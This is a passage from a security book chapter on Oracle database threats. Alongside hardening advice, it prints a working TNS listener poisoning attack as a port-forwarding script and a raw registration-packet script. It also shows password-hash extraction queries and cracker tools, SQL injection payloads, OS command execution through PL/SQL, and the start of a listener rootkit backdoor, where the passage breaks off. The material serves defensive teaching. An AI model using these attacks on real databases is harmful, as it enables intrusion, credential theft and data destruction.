What Protocol Is Your Database Server Using? A communication protocol is defined as anything between two systems, components, or even servers that allows them to communicate with each other. A database server uses different protocols to communicate with different servers, and the vendor of the database specifies the protocol. Each network protocol is worth examining to understand how you will protect your database and how to eliminate unnecessary protocols, or at least secure them.

126

Chapter 4

Oracle Database Threats

Understand the Code Running on Your Database Have you ever heard of stack overflow? This is when your code breaks down and tries to use more memory space or buffer of the server than possible, causing the application or database to crash. Stack overflows allow an attacker to gain access to your system and take advantage of buffer overflow vulnerabilities.

Debug, Debug, and Then Debug Some More The easiest way to understand your code and your application is by debugging. You should monitor the logs, the system, and the network traffic including local traffic, and study your memory consumption. Make sure to look at the Oracle extproc library. This process loads the shared library, and the rest of the databases talk to this process via IPC.

Test It Before Implementing It With every database release, the vendor provides documents detailing the new features. Before implementing any new features, investigate the mechanism and how it works, specifically looking for security threats. This will avoid a lot of problems in the future.

Dealing with Threats The following sections cover how to deal with threats.

127

Chapter 4

Oracle Database Threats

Oracle Authentication and Authorization Oracle supports two types of accounts. •

Database accounts: We will focus on the default users created when the database is created. The most important one is the SYS user since it can be linked to the root user in Linux or the administrator user in Windows.



Operating system accounts: These will be discussed in the next chapter. These users are authenticated externally and generally start with OP$.

Before 12c, password storing in Oracle was totally different. All you had to do was use the following query to get the encrypted password: SQL> select name,password from sys.user$ where type#=1; NAME                PASSWORD --------            ---------------SYS                 2696A092833AFD9F SYSTEM              ED58B07310B19002 OUTLN               4A3BA55E08595C81 DIP                 CE4A36B8E06CA59C DMSYS               BFBA5A553FD9E28A DBSNMP              E066D214D5421CCC WMSYS               7C9BA362F8314299 EXFSYS              66F4EF5650C20355 ORDSYS              7EFA02EC7EA6B86F

128

Chapter 4

Oracle Database Threats

Here are some considerations when considering database accounts: •

You may want to test the strength of your database passwords.



A password cracker might take a long time to test 12 characters, but at the end it will crack it.



Always assume that someone can crack a password, so make yours as strong as possible.

Here are some cracking types: •

Brute force



Dictionary attacks



Default passwords



Brute force



Dictionary language

Each type has its own advantages and disadvantages. We will give an example of one of the password crackers later in this chapter. In Oracle database 12c and newer, passwords are not saved in clear text. You must dig a little deeper to get the encrypted password, which is good because this makes the database more secure. Assume that we want to see the encrypted password for the SYS user. We use this: SQL> select name,password from sys.user$ where name='SYS'; NAME                PASSWORD --------            -------SYS

129

Chapter 4

Oracle Database Threats

select dbms_metadata.get_ddl('USER','SYS') from dual; ALTER USER "SYS" IDENTIFIED BY VALUES 'S:6454BB94FB54E826A6EB5211927215130B517501FC4DCBB4C9B74DBBDC12; T:80B482139BD5C82C858C2E5B982CF1BD3A62A98E75619D7B05A94FFE53 F340E5C53EF5396372FF6A4CA7D6D574614D500DF2D1B8F8D6B8FF4C5D263 EB89CC7D863E87DACBFD1C666DB19A7389C6BAC79' TEMPORARY TABLESPACE "TEMP" As you see from this example, we used a different way to get the encrypted password. Notice the S. What does that mean? This is related to the spare4 column’s value, which has three parts (S:, H:, and T:) separated by semicolons. •

S: The length is 60 characters or 30 bytes.



H: The length is 32 characters or 16 bytes.



T: The length is 160 characters or 80 bytes.

The S: part is available in 11g and is created as follows: password hash (20 bytes) = sha1(password + salt (10 bytes)) Let’s see an example of the S: value, shown here: 6454BB94FB54E826A6EB5211927215130B517501FC4DCBB4C9B74DBBDC12 The hash: - 6454BB94FB54E826A6EB5211927215130B517501 Salt: - FC4DCBB4C9B74DBBDC12 This method is identical to 11g if you compare it to 12c. To explain the H: part, check out $ORACLE_HOME/rdbms/admin. Look at the SQL files to see that some of them have the following: create or replace view DBA_DIGEST_VERIFIERS   (USERNAME, HAS_DIGEST_VERIFIERS, DIGEST_TYPE) as select u.name, 'YES', 'MD5' from user$ u where instr(spare4, 'H:')>0 union 130

Chapter 4

Oracle Database Threats

select u.name, 'NO', NULL from user$ u where not(instr(spare4, 'H:')>0) or spare4 is null / The algorithm is MD5. How the calculation works to store the password would take a long time to explain; what you need to know here is that this method makes it possible to attack the built-in password. On the other hand, the T part is applied only for 12.1.0.2, and to enable this all the time, update the sqlnet.ora file by adding the following line: SQLNET.ALLOWED_LOGON_VERSION_SERVER = 12a Once you enable it and create a new user, the spare4 value no longer has the S: part, only H: and T:. So, Oracle has added an MD5 hash and PBKDF2-based SHA512 hash in 12c. The previous description allows you to understand how the password inside the database works. Once you have the hash code, you can crack it using C-based crackers, which run faster than PL/SQL. Here are some examples: •

Orabf (from 0rm)



Woraauthbf (by Laszlo Toth)



Checkpwd (by Alex Kornbrust)



JTR

There are different kinds of crackers that can help you test your passwords, such as GPU crackers, IGHASGPU, or even online crackers. Copy the encrypted password and paste it into the cracker. Both SYS and SYSTEM are DBA privileged accounts on a typical system; therefore, you have always to find at least a few more DBA users such as SYSMAN, or even a normal user who has been created recently and granted the DBA role.

131

Chapter 4

Oracle Database Threats

select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4; NAME SYSTEM PYTHON SYS There are a few system privileges that can be abused to gain access and control to a database server. Be sure of what you are doing before you grant any of these system privileges: •

EXECUTE ANY PROCEDURE •



SELECT ANY DICTIONARY •



If the user has this, then it means they can select any database dictionary tables.

GRANT ANY PRIVILEGE •



This gives the ability to run any procedure on the server.

This can allow user to grant any of the system privileges to others, which allows users to gain control of the system.

CREATE LIBRARY •

This allows users to run the code through external procedures, which can gain access to the server.

Figure 4-1 shows an example of one of these tools called orabf. It is an extremely fast, offline, brute-force/dictionary attack tool. The tool works by saving the password hash and then username in the PASSWORD:USERNAME format in a file such as hacker.lis. Using orabfscript will crack the password and save it to the output file.

132

Chapter 4

Oracle Database Threats

Figure 4-1.  Example of using a password cracker

TNS Poisoning The first step of any attack is to know your enemy. To do this, attackers have to find the database server on the network. What is the best way to achieve this? There are different ways such as through social engineering or the TCP port. Many companies install the Oracle database with the default settings and ports. The following table are some of the common Oracle processes and ports: Process

Port

199

Agntsvc

1521-1530

Tnslsnr

1748 1754 1809 1808

Dbsnmp

1810

Java

(continued) 133

Chapter 4

Oracle Database Threats

Process

Port

1830 1831

emagent

3025 3026

Ocssd

6003 6004 6200 6201

Opmn

Once the Oracle database has been discovered, you need to get more information before continuing. This can be done as follows: -bash-4.2$ lsnrctl status LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 13-JUN-­ 2019 17:08:43 Copyright (c) 1991, 2016, Oracle.  All rights reserved. Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle. localhost.localdomain)(PORT=1521))) STATUS of the LISTENER -----------------------Alias                     LISTENER Version                   TNSLSNR for Linux: Version 12.2.0.1.0 - Production Start Date                12-JUN-2019 20:31:31 Uptime                    0 days 20 hr. 37 min. 13 sec Trace Level               off Security                  ON: Local OS Authentication SNMP                      OFF

134

Chapter 4

Oracle Database Threats

Listener Parameter File   ­/u01/app/oracle/product/12.2.0/ dbhome_1/network/admin/listener.ora Listener Log File         /u01/app/oracle/diag/tnslsnr/oracle/ listener/alert/log.xml Listening Endpoints Summary...   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle.localhost. localdomain)(PORT=1521)))   (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521))) Services Summary... Service "orcl" has 1 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... Service "orclXDB" has 1 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... The command completed successfully -bash-4.2$ From the status command, you can figure out different things. •

versionTracing is off



Operating system version



Security is off; listener password is off



The logs directory location



Database SIDs

One of the most common issues with listener is TNS poisoning. The TNS poison attack was discovered in 2015; it is a man-in-the-middle (MITM) attack. This type of vulnerability is remotely exploitable without authentication credentials; in other words, it can be exploited over a network without the need for a username and password. To read more about the classic MITM attack, you can check out CVE-2012-1675. 135

Chapter 4

Oracle Database Threats

These are the affected database versions: •

Oracle Database 11g Release 2, versions 11.2.0.2, 11.2.0.3, 11.2.0.4



Oracle Database 11g Release 1, version 11.1.0.7



Oracle Database 10g Release 2, versions 10.2.0.3, 10.2.0.4, 10.2.0.5

For database 12c R1 and newer, you don’t have to worry about anything, because the default Oracle Listener configuration protects against this threat. Therefore, to protect the database server and ensure you will not be attacked, we suggest adding this parameter to LISTENR.ORA: VALID_NODE_CHECKING_REGISTRATION_ VALID_NODE_CHECKING_REGISTRATION_listener=on This parameter ensures that valid node checking is performed, or a subnet is allowed. By enabling this parameter, any incoming registration request will be checked to ensure that the local IP address is allowed. The following parameter accepts three values, as shown here: •

Off | 0: This is the default value; no checking is performed here.



On | 1 | local: Valid node checking registration is on, and all local IP addresses can register.



2 | subnet: Valid node checking registration is on, and all machines in the local subnet can register.

If your database version is 11.2.0.4, then you should enable this parameter immediately and set it to a LOCAL value. If you are running RAC, then you also need to set REGISTRATION_INVITED_NODES_, which specifies the list of nodes that can register with the listener.

136

Chapter 4

Oracle Database Threats

If you are running database version 11.2.0.3 or older than this, all we can say is that there is no security patch for this, and you should start thinking about upgrading soon. In the meantime, there is a workaround for this, which is a Class of Secure Transport (COST) parameter, that can be used for the new version as well. •

SECURE_PROTOCOL_ •



SECURE_REGISTER_ •



Specifies the transports on which administration and registration requests are to be accepted

Specifies the transports on which registration requests are to be accepted

SECURE_CONTROL_ •

Specifies the transports on which control commands are to be serviced

In the following example, we will show how TNS poisoning can happen. As mentioned earlier, you need the following information: database SID, listener port, and database server IP. Let’s assume you did the TCP scan or you already have this information. -bash-4.2$ lsnrctl status LSNRCTL for Linux: Version 11.2.0.4- Production on 13-JUN-2019 18:200:55 Copyright (c) 1991, 2016, Oracle.  All rights reserved.

137

Chapter 4

Oracle Database Threats

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle. localhost.localdomain)(PORT=1521))) STATUS of the LISTENER -----------------------Alias                     LISTENER Version                   TNSLSNR for Linux: Version 11.2.0.4Production Start Date                13-JUN-2019 17:25:12 Uptime                    0 days 3 hr. 01 min. 10 sec Trace Level               off Security                  ON: Local OS Authentication SNMP                      OFF Listener Parameter File   /u01/app/oracle/product/11.2.0.4/ dbhome_1/network/admin/listener.ora Listener Log File         /u01/app/oracle/diag/tnslsnr/oracle/ listener/alert/log.xml Listening Endpoints Summary...   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle11g. localhost.localdomain)(PORT=1521)))   (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521))) Services Summary... Service "orcl" has 1 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... Service "orclXDB" has 1 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... The command completed successfully -bash-4.2$

138

Chapter 4

Oracle Database Threats

With all this information, you have to do something called async buffering forwarder, which means to forward the TCP traffic from your machine to another host and back again. The forwarding technique depends on what kind of programming language you will use; we prefer Python because it’s cross-platform and easy to use. The following shows how to do asynchronous port forwarding (written by Joxean Koret). It is considered the most common code used for this. Name the file async.py. #!/usr/bin/python import socket,asyncore class forwarder(asyncore.dispatcher):     def __init__(self, ip, port, remoteip,remoteport,backlog=5):         asyncore.dispatcher.__init__(self)         self.remoteip=remoteip         self.remoteport=remoteport         self.create_socket(socket.AF_INET,socket.SOCK_STREAM)         self.set_reuse_addr()         self.bind((ip,port))         self.listen(backlog)     def handle_accept(self):         conn, addr = self.accept()         sender(receiver(conn),self.remoteip,self.remoteport) class receiver(asyncore.dispatcher):     def __init__(self,conn):         asyncore.dispatcher.__init__(self,conn)         self.from_remote_buffer="         self.to_remote_buffer="         self.sender=None     def handle_connect(self):         pass

139

Chapter 4

Oracle Database Threats

    def handle_read(self):         read = self.recv(4096)         self.from_remote_buffer += read         print "RECV %s" % repr(read)     def writable(self):         return (len(self.to_remote_buffer) > 0)     def handle_write(self):         print "SEND %s" % repr(self.to_remote_buffer)         sent = self.send(self.to_remote_buffer)         self.to_remote_buffer = self.to_remote_buffer[sent:]     def handle_close(self):         self.close()         if self.sender:             self.sender.close() class sender(asyncore.dispatcher):     def __init__(self, receiver, remoteaddr,remoteport):         asyncore.dispatcher.__init__(self)         self.receiver=receiver         receiver.sender=self         self.create_socket(socket.AF_INET, socket.SOCK_STREAM)         self.connect((remoteaddr, remoteport))     def handle_connect(self):         pass     def handle_read(self):         read = self.recv(4096)         self.receiver.to_remote_buffer += read     def writable(self):         return (len(self.receiver.from_remote_buffer) > 0) 140

Chapter 4

Oracle Database Threats

    def handle_write(self):         sent = self.send(self.receiver.from_remote_buffer)         self.receiver.from_remote_buffer = self.receiver.from_ remote_buffer[sent:]     def handle_close(self):         self.close()         self.receiver.close() if __name__=='__main__':     import optparse     parser = optparse.OptionParser()     parser.add_option(         '-l','--local-ip',         dest='local_ip',default='127.0.0.1',         help='Local IP address to bind to')     parser.add_option(         '-p','--local-port',         type='int',dest='local_port',default=80,         help='Local port to bind to')     parser.add_option(         '-r','--remote-ip',dest='remote_ip',         help='Local IP address to bind to')     parser.add_option(         '-P','--remote-port',         type='int',dest='remote_port',default=80,         help='Remote port to bind to')     options, args = parser.parse_args()   forwarder(options.local_ip,options.local_port,options.remote_ ip,options.remote_port)     asyncore.loop()

141

Chapter 4

Oracle Database Threats

-bash-4.2$python async.py –-local-ip 192.168.174.130 –-local-­ port 1521 --remote-ip 192.168.174.32 –remote-port 1521 Note the following: •

local-ip is the attacker IP.



remote-ip is the database server IP.

This script works as a proxy and will forward and accept connections from the database server to attacker machines. After the previous step, the attacker will send a registration to the database. This will balance the traffic and make the clients think they are connected to the correct database. -bash-4.2$python async.py –-local-ip 192.168.174.130 –-local-­ port 1521 --remote-ip 192.168.174.32 –remote-port 1521 #!/usr/bin/python import sys import time import struct import socket from libtns import * def main(host, aport, service, targetHost, targetPort):     if len(service) != 6:         print "[!] Sorry! This version just poisons 6 characters long database names"         sys.exit(2)     if len(aport) > 4:         print "[!] Sorry! This version only works with at most 4 characters long port numbers"         sys.exit(3) 142

Chapter 4

Oracle Database Threats

    if len(host) > 32:         print "[!] Sorry! The server name must be at most 32 characters long"         sys.exit(4)     target = host.ljust(32)     port = aport.ljust(4)     hostDescription = '(HOST=%s)\x00' % target     hostDescriptionSize = 40     serviceDescription = '%s\x00' % service     serviceDescriptionSize = 7     instance1Description = '%sXDB\x00' % service     instance1DescriptionSize = 10     instance2Description = '%s_XPT\x00' % service     instance1DescriptionSize = 11     clientDescription = '(ADDRESS=(PROTOCOL=tcp)(HOST=%s) (PORT=57569))\x00' % target     clientDescriptionSize = 76     dispatcherDescription = 'DISPATCHER \x00' % target     dispatcherDescriptionSize = 67     redirectTo = '(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s)) \x00' % (target, port)     redirectToSize = 75     handlerName = 'D000\x00'     handlerSize = 5     buf = '\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D\x08'     buf += '\xff\x03\x01\x00\x12444448\x10\x102\x102\x10'     buf += '2\x102\x102Tv\x008\x102TvD\x00\x00'

143

Chapter 4

Oracle Database Threats

    buf += '\x80\x02\x00\x00\x00\x00\x04\x00\x00\x08m\xd2\x0e\ x90\x00#'     buf += '\x00\x00\x00'     buf += 'BEC76C2CC136-5F9F-E034-0003BA1374B3'     buf += '\x03'     buf += '\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\ x00\xd4\x03'     buf += '\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\ x00\x00\x01\x00'     buf += '\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\xc42\xd0\ x0e\x01\x00'     buf += '\x00\x00\xcc\x01'     buf += '\xf9'     buf += '\xb7\x00\x00\x00\x00'     buf += '\xd0t\xd1\x0eS\xcc'     buf += '\xd3f \x0f\x07V\xe0@\x00\x7f\x01\x00,\xa1\x07\x00'     buf += '\x00\x00D\x8cx*(\x00\x00\x00\xa4\x02\xf9\xb7\x1e\x00'     buf += '\x00\x00\x00\x14\x00\x00\x01\x00\x00\x00\xaa\x00\ x00\x00\x00\x00'     buf += '\x00\x00\x00\x00\x00\x00\xb82\xd0\x0e'     buf += serviceDescription     buf += hostDescription     buf     buf     buf     buf     buf

+= '\x01\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x000\xc6g*' += '\x02\x00\x00\x00\x14\xc6g*\x00\x00\x00\x000t\xd1\x0e' += instance1Description += '\n\x00\x00\x000\xc6' += 'g*\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\ x00\x00'     buf += '\x00\x00\x10p\xd1\x0e'     buf += instance1Description

144

Chapter 4

Oracle Database Threats

    buf += '\x01\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\ x00v*'     buf += '\x02\x00\x00\x00 >v*\x00\x00\x00\x00\xe0s\xd1\x0e'     buf += instance2Description     buf += '\x0b\x00\x00\x00v*\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00'     buf += '\x00\x00\x00\xb0I\xd0\x0e'     buf += instance2Description     buf += '\x01\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00@@\x83!'     buf += '\x02\x00\x00\x00$@\x83!\x00\x00\x00\x00 u\xd1\x0e'     buf += serviceDescription     buf += '\x07\x00\x00\x00@@\x83!\x04'     buf += '\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ x00\x00\x00\x80'     buf += 'I\xd0\x0e'     buf += serviceDescription     buf += '\x01\x00\x00\x00\x10\x00'     buf += '\x00\x00\x02\x00\x00\x00'     #buf += 'L' # Size of the client description???? L -> 76 -> 0x4C     buf += chr(len(clientDescription))     buf += 'p\xd1\x0e\x04\x00\x00\x000s\xf9'     buf += '\xb7\x00\x00\x00\x00\x80t\xd1\x0eS\xcc\xd3f \x15\x07'     buf += 'V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\xfc\ x8d\x98'     buf += '(L\x00\x00\x00T@\x83!C\x00\x00\x00ps\xf9'     buf += '\xb7'     buf += '\x00\x08\x00\x00' # Handler Current     buf += '\x00\x04\x00\x00' # Handler Max     buf += '\x04\x10' # Handler something? Don't know...     buf += '\x00\x00\x01\x00\x00'

145

Chapter 4

Oracle Database Threats

    buf += '\x00\xd0}u*\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00'     buf += '\x00@p\xd1\x0e'     buf += handlerName     buf += clientDescription     buf += dispatcherDescription     buf += '\x01' # Number of handlers?????     buf += '\x00\x00\x00\x10'     buf += '\x00\x00\x00\x02\x00\x00\x01T4\xd0'     buf += '\x0e\x04\x00\x00\x00\xf8s\xf9\xb7\x00\x00\x00\x00\ x00\x00\x00'     buf += '\x00S\xcc\xd3f \x11\x07V\xe0@\x00\x7f\x01\x00,\xa1'     buf += '\x14\xc6g*\n\x00\x00\x00\x1cX@\x0cK\x00\x00\x00'     buf += '\xac@\x83!\x0e\x00\x00\x00lX@\x0c\x03\x00\x00\x00'     buf += '\x95\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\ xc8\x8cx*'     buf += '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H4\ xd0\x0e'     buf += 'DEDICATED\x00'     buf += redirectTo     buf += 'REMOTE SERVER\x00'     buf += '\n\x00'     buf += '\x00\x000\xc6g*\x05\x00\x00\x00\x00\x00\x00\x00\ x01\x00'     buf += '\x00\x00\x00\x00\x00\x00\x10p\xd1\x0e'     buf += instance1Description     buf += '$@\x83! >v*\x00\x00\x00\x00\x07\x00\x00\x00'     buf += '@@\x83!\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\ x00\x00'     buf += '\x00\x00\x00\x00\x80I\xd0\x0e'     buf += serviceDescription

146

Chapter 4

    buf     buf     buf     buf     buf

+= += += += +=

Oracle Database Threats

'\x0b' '\x00\x00\x00v*\x04\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\xb0I\xd0\x0e' instance2Description '\x00\x00'

    while 1:         pkt = TNSPacket()         mbuf = pkt.getPacket("(CONNECT_DATA=(COMMAND=service_ register_NSGR))")         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.connect((targetHost, int(targetPort)))         print "Sending initial buffer ..."         s.send(mbuf)         res = s.recv(8192)         tnsRes = TNSBasePacket()         tnsRes.readPacket(res)         print "Answer: %s(%d)" % (tnsRes.getPacketTypeString(), ord(tnsRes.packetType))         print "Sending registration ..."         print repr(buf) [:80]         s.send(buf)         res = s.recv(8192)         tnsRes = TNSBasePacket()         tnsRes.readPacket(res)         print "Answer: %s(%d)" % (tnsRes.getPacketTypeString(), ord(tnsRes.packetType))         print repr(res)         print "Sleeping for 10 seconds... (Ctrl+C to stop) ..."         time.sleep(10)         s.close() 147

Chapter 4

Oracle Database Threats

def showTnsError(res):     pos = res.find("DESCRIPTION")     print "TNS Listener returns an error:"     print     print "Raw response:"     print repr(res)     print     print "Formated response:"     formatter = TNSDataFormatter(res[pos-1:])     print formatter.format()     tns = TNS ()     errCode = tns.extractErrorcode(res)     if errCode:          print "TNS-%s: %s" % (errCode, tns.getTnsError(errCode)) def usage ():     print "Usage:", sys.argv[0], " "     print if __name__ == "__main__":     if len(sys.argv) < 6:         usage ()         sys.exit(1)     else:         main(sys.argv[1], sys.argv[2], sys.argv[3], sys. argv[4], sys.argv[5]) -bash-4.2$python poison.py 192.168.174.130 1521 orcl

148

Chapter 4

Oracle Database Threats

Once you run the previous command, the poisoning will start.         Sending initial buffer ... Answer: Accept (2) Sending registration ... '\x04M\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04F Answer: Data (5) Check the listener status again, and you will find there now two instances. -bash-4.2$ lsnrctl status LSNRCTL for Linux: Version 11.2.0.4- Production on 13-JUN-2019 18:200:55 Copyright (c) 1991, 2016, Oracle.  All rights reserved. Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle. localhost.localdomain)(PORT=1521))) STATUS of the LISTENER -----------------------Alias                     LISTENER Version                    TNSLSNR for Linux: Version 11.2.0.4Production Start Date                13-JUN-2019 17:25:12 Uptime                    0 days 3 hr. 01 min. 10 sec Trace Level               off Security                  ON: Local OS Authentication SNMP                      OFF Listener Parameter File   /u01/app/oracle/product/11.2.0.4/ dbhome_1/network/admin/listener.ora Listener Log File         /u01/app/oracle/diag/tnslsnr/oracle/ listener/alert/log.xml

149

Chapter 4

Oracle Database Threats

Listening Endpoints Summary...   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=oracle11g. localhost. localdomain) (PORT=1521)))   (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc) (KEY=EXTPROC1521))) Services Summary... Service "orcl" has 2 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... Instance "orcl", status READY, has 1 handler(s) for this service... Service "orclXDB" has 1 instance(s).   Instance "orcl", status READY, has 1 handler(s) for this service... The command completed successfully In summary, as you can see from the previous example, the database is poisoned now; the attacker has access to the database and can access the data easily. To avoid this, the company must implement the previous solution based on its database version.

PL/SQL Injection PL/SQL injection is one of the most important and famous techniques related to Oracle procedures. It’s when the attacker can elevate their privileges from the lowest level that you could imagine through a public account, for example, to DBA privileges. The powerful thing about this technique is that it has worked on almost all Oracle database versions because it depends on the code and custom stored procedure written by the developers and provided by Oracle itself. Most companies test their code before deploying it to a production environment to protect themselves from any future attacks. The example provided here is only for demonstration purposes and is not a real use case. 150

Chapter 4

Oracle Database Threats

CREATE OR REPLACE PROCEDURE DEPT (VDEPT IN VARCHAR2, VOUTPUT OUT VARCHAR2) AS    VSQL    VARCHAR2(1500); BEGIN    VSQL: = 'SELECT name FROM department WHERE name="' || VDEPT || "";    EXECUTE IMMEDIATE VSQL INTO VOUTPUT; END; As you see, this code returns the department name from the parameter VDEPT. It’s waiting on input from the user to retrieve the data from the table. There are different statements that can be used in SQL injection, as follows: •

1' or '1' = '1



1=1



" or ""="



AND 1=2

A lot of other statement can be used in SQL injection. In addition, the attacker can take the benefits of SQL injection and merge the union statement with it to retrieve something else. If the attacker injects the previous procedure, then when the query is run, the admin password will be returned. A' AND 1=2 UNION SELECT password FROM application_passwords WHERE username='admin So, the query will run in the background like this: SELECT name FROM department WHERE name='A' OR 1=2 UNION SELECT password FROM application_password WHERE username='admin'

151

Chapter 4

Oracle Database Threats

Another technique is anonymous PL/SQL. Usually the developers use this because it’s considered the fastest way for a query to get executed, but it’s really risky to do since the attacker can use other statements such as delete. For example, let’s look at the same procedure but with some modification, as shown here: CREATE OR REPLACE PROCEDURE DEPT (VDEPT IN VARCHAR2, VOUTPUT OUT VARCHAR2) AS    VSQL    VARCHAR2(1500); BEGIN    Execute immediate 'Begin update department set dept_id = 3 where name= "' || VDEPT || "'; END; Since the attacker retrieved the information and can access the database, he could inject the procedure in different ways like the following: OOOOO'; DELETE FROM department WHERE 'a'='a So, the query will look like this: update department set dept_id = 3 where name= 'OSAMA'; DELETE FROM Employee WHERE 'a'='a As you see from the previous example, the attacker this time is causing huge damage to the company by deleting the data inside the table department. The attacker first updated the department table and then deleted the employee table from the database. There are different ways to use SQL injection such as via the DBMS_SQL package or a cursor with a dynamic query. However, using the bind variables in a smart way will prevent these kinds of attack. If the user is allowed to submit input using dynamic code, the developers should make sure the variable isn’t larger than the data needed. Again, any accounts with public privileges must be revoked. One of the new features of Oracle 12c allows the functions and procedures to have read access to the tables without giving this access to users. 152

Chapter 4

Oracle Database Threats

E xecute Operating System Commands Through Oracle Sometimes development requirements include code that can execute operating system commands or even batch scripts that can do certain jobs such as copying files, deleting files, or even moving files. The problem with this is that the database user who is responsible for this can be compromised. In general, to run an operating system through the Oracle database, there are different methods. •

Use a schema object associated with an operating system shared library. The most common one is the create library privilege.



If the code will run a batch script, the package DBMS_SCHEDULER is able to do that and execute shell commands, but the package lacks access to STDIN and STDOUT (the C compiler).



Embed a Java SE–compliant virtual machine in the database kernel, which is capable of executing shell commands via System.Exec.

The following example shows how some of the PL/SQL packages provide access to the OS shell and file system and can do operations such as creating, deleting, moving, or even copying. Check the Java version embedded with the database. SQL> select comp_name, version from dba_registry where comp_ name like '%JAVA%'; COMP_NAME                                VERSION JServer JAVA Virtual Machine      12.2.0.1.0

153

Chapter 4

Oracle Database Threats

From the previous example, we determined the Java version used in the database. When the developers want to run operating system commands, they have to enable and create Java packages since it’s not enabled by default. After this step, the PL/SQL objects should be accessible to PUBLIC. ** 1. Installing java code ** ... Java source FILE_TYPE No errors. ... compiling Java FILE_TYPE No errors. ... java source OS_COMMAND No errors. ... compiling java OS_COMMAND No errors. ****************************************** ** 2. PL/SQL Package Specs ** ... type spec FILE_TYPE No errors. ... type spec FILE_LIST_TYPE No errors. ... Package spec FILE_PKG No errors. ... package spec OS_COMMAND No errors. ... package spec LOB_WRITER_PLSQL (deprecated) No errors. ... package spec FILE_SECURITY No errors. ... package spec FILE_PKG_VERSION 154

Chapter 4

Oracle Database Threats

No errors. ******************************************* The following example lists the files inside /root using PL/SQL: SQL> select os_command.exec_clob('ls -la /') directory_listing from dual; DIRECTORY_LISTING total 80 dr-xr-xr-x.  19 root   root      4096 Mar 19 15:13 . dr-xr-xr-x.  19 ro This returns the operating system call for the current shell: SQL> select OS_COMMAND.GET_SHELL shell from dual; SHELL /bin/sh -c This executes a shell/operating system command using the exec_clob package: SQL> select os_command.exec_clob('/bin/ps -ef') from dual ; OS_COMMAND.EXEC_CLOB('/BIN/PS-EF') UID         PID   PPID    C STIME TTY TIME CMD root          1     0      0 To delete file using PL/SQL, we created a file called text.txt located under /home/oracle. When we run the following query, the Y indicates that the files exist under the directory. The FILE_TYPE object points to the location of the deleted file with the FILE_EXISTS attribute being set to N.

155

Chapter 4

Oracle Database Threats

SQL> select file_pkg.get_file('/home/oracle/text.txt') file_ exists from dual; FILE_TYPE ('/home/oracle/text.txt', 'text.txt', 4096, '21-JUN-­ 19', 'Y', 'Y', 'Y', 'Y') Delete the file as shown here: SQL> select file_pkg.get_file('/home/oracle/text.txt'). delete_ file() file_not_exists from duaL; FILE_TYPE ('/home/oracle/text.txt', NULL, NULL, NULL, NULL, NULL, NULL, 'N') The next step is to create a file using PL/SQL. N is related to file existence on the operating system or inside the directory. SQL> select file_pkg.get_file('/home/oracle/new_file.txt') file_not_exists from duaL; FILE_TYPE('/home/oracle/new_file.txt', NULL, NULL, NULL, NULL, NULL, NULL, 'N') SQL> select file_pkg.get_file('/home/oracle/create_new_file. txt'). make_file () file_exists from dual; FILE_TYPE ('/home/oracle/create_new_file.txt','create_new_file. txt', 0, '21-JUN-19', 'N', 'Y', 'Y', 'Y') SQL>! ls create_new_file.txt Documents Music Pictures safe.sql test.cer In conclusion, the roles and privileges should be given only when it’s necessary. Review the code, understand the code, and check it from time to time.

156

Chapter 4

Oracle Database Threats

Injecting a Rootkit into the Oracle Database The rootkit used in this section injects a backdoor in Oracle Listener so that the attacker can get access to the shell command remotely. This rootkit depends on renaming the function called snttread, which is the original file to Snttread(). This function exists inside an object file called sntt.o, which is responsible for receiving the data from the TCP/IP channel. It’s located inside libntcp12.a under $ORACLE_HOME/lib/. The function is simple and is considered a wrapper. For Linux, it wraps recv(), and for Windows, it’s WSARecv(). To do the following attack, you have to fetch sntt.o from libntcp12.a located under $ORACLE_HOME/lib. -bash-4.2$ ar -x libntcp12.a sntt.o -bash-4.2$ cp sntt.o sntt.o.bkp Replace snttread with Snttread.o using the following script written in Python: import os, glob, mmap, sys # replace all "snttread" strings in file to "Snttread" pattern = "snttread" fp = open(sys.argv[1], 'r+') mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size) addr = 0 while addr != -1: addr = mm.find(pattern, addr) if addr != -1: print "patching at addr=", addr mm[addr] = "S" mm.close() fp.close()

157

Chapter 4

Oracle Database Threats

